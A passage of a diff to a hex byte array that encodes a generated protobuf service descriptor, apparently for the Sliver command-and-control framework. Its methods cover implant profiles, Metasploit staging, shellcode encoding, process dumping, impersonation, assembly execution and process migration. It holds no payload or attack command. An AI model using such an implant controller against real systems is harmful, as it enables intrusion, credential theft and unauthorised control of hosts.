0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x13, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x12, 0x48, 0x0a, 0x12, 0x53, 0x61, 0x76, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, + 0x69, 0x6c, 0x65, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x37, 0x0a, + 0x08, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, + 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, + 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, + 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, + 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, + 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x46, 0x0a, + 0x15, 0x47, 0x65, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x43, 0x6f, + 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x43, 0x6f, 0x6d, + 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x4b, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, + 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x41, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, - 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1b, + 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x12, 0x45, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x41, 0x0a, 0x11, 0x54, 0x72, 0x61, + 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, + 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x4c, 0x0a, 0x11, + 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41, 0x64, + 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, + 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x3d, 0x0a, 0x10, 0x54, 0x72, + 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x6d, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, - 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x4c, 0x0a, 0x11, 0x54, - 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41, 0x64, 0x64, - 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, - 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x3d, 0x0a, 0x10, 0x54, 0x72, 0x61, - 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x6d, 0x12, 0x18, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, - 0x69, 0x74, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x57, 0x65, 0x62, - 0x73, 0x69, 0x74, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x33, 0x0a, 0x0d, 0x57, 0x65, - 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x0f, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, - 0x43, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, - 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, - 0x73, 0x69, 0x74, 0x65, 0x12, 0x46, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, - 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x49, 0x0a, 0x14, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x26, 0x0a, 0x04, 0x50, 0x69, 0x6e, 0x67, 0x12, - 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x1a, - 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x12, - 0x23, 0x0a, 0x02, 0x50, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x50, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x50, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, - 0x65, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, - 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x35, - 0x0a, 0x08, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, - 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x32, 0x0a, 0x07, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, - 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, - 0x74, 0x61, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x4c, 0x73, 0x12, - 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x52, 0x65, 0x71, - 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x24, - 0x0a, 0x02, 0x43, 0x64, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x43, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x50, 0x77, 0x64, 0x12, 0x26, 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x10, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x23, 0x0a, 0x02, - 0x4d, 0x76, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, - 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, - 0x76, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x70, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x43, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x12, 0x23, 0x0a, 0x02, 0x52, 0x6d, 0x12, 0x0f, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x12, 0x2c, 0x0a, 0x05, 0x4d, - 0x6b, 0x64, 0x69, 0x72, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x35, 0x0a, 0x08, 0x44, 0x6f, 0x77, - 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, - 0x12, 0x2f, 0x0a, 0x06, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, - 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, - 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0f, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, - 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x32, 0x0a, - 0x07, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, - 0x73, 0x12, 0x37, 0x0a, 0x0c, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, - 0x74, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, - 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x4d, 0x65, - 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, - 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, - 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x3b, 0x0a, 0x0a, 0x4d, 0x65, - 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x52, 0x65, - 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, - 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, - 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x52, 0x65, 0x71, - 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, - 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52, 0x75, 0x6e, 0x41, 0x73, - 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, - 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, - 0x6e, 0x61, 0x74, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, - 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, - 0x6c, 0x66, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, - 0x38, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x16, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, - 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x61, 0x73, - 0x6b, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, - 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x54, 0x61, 0x73, 0x6b, 0x12, 0x27, 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12, 0x10, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, - 0x09, 0x4d, 0x73, 0x66, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, - 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, - 0x73, 0x6b, 0x12, 0x4a, 0x0a, 0x0f, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, - 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, - 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, - 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x32, - 0x0a, 0x07, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, - 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, - 0x74, 0x65, 0x12, 0x32, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x14, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, - 